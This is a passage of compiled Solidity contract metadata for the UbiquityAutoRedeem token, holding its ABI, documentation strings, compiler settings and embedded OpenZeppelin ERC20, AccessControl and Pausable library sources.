uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"permit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"raiseCapital\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"newName\",\"type\":\"string\"}],\"name\":\"setName\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"newSymbol\",\"type\":\"string\"}],\"name\":\"setSymbol\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unpause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"burn(uint256)\":{\"params\":{\"amount\":\"the amount to burn\"}},\"burnFrom(address,uint256)\":{\"params\":{\"account\":\"the account to burn from\",\"amount\":\"the amount to burn\"}},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"paused()\":{\"details\":\"Returns true if the contract is paused, and false otherwise.\"},\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\":{\"params\":{\"deadline\":\"the deadline after which the approval is no longer valid\",\"owner\":\"the uAD holder\",\"spender\":\"the approved operator\",\"value\":\"the amount approved\"}},\"raiseCapital(uint256)\":{\"details\":\"you should be minter to call that function\",\"params\":{\"amount\":\"the amount to be minted\"}},\"setName(string)\":{\"params\":{\"newName\":\"new token name\"}},\"setSymbol(string)\":{\"params\":{\"newSymbol\":\"new token symbol\"}},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"burn(uint256)\":{\"notice\":\"burn UAD tokens from caller\"},\"burnFrom(address,uint256)\":{\"notice\":\"burn uAD tokens from specified account\"},\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\":{\"notice\":\"permit spending of uAD. owner has signed a message allowing spender to transfer up to amount uAD\"},\"raiseCapital(uint256)\":{\"notice\":\"raise capital in form of uAR (only redeemable when uAD > 1$)\"},\"setName(string)\":{\"notice\":\"setName update token name\"},\"setSymbol(string)\":{\"notice\":\"setSymbol update token symbol\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/UbiquityAutoRedeem.sol\":\"UbiquityAutoRedeem\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n _approve(account, _msgSender(), currentAllowance - amount);\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xb8cc16fa5514ccbff1123c566ec0a21682f1ded0ca7e5df719c6bd0b7429390a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x86b0abb859d38e6909101e8dce6fad76543cd1443788b049fd182379b42cb6e3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as 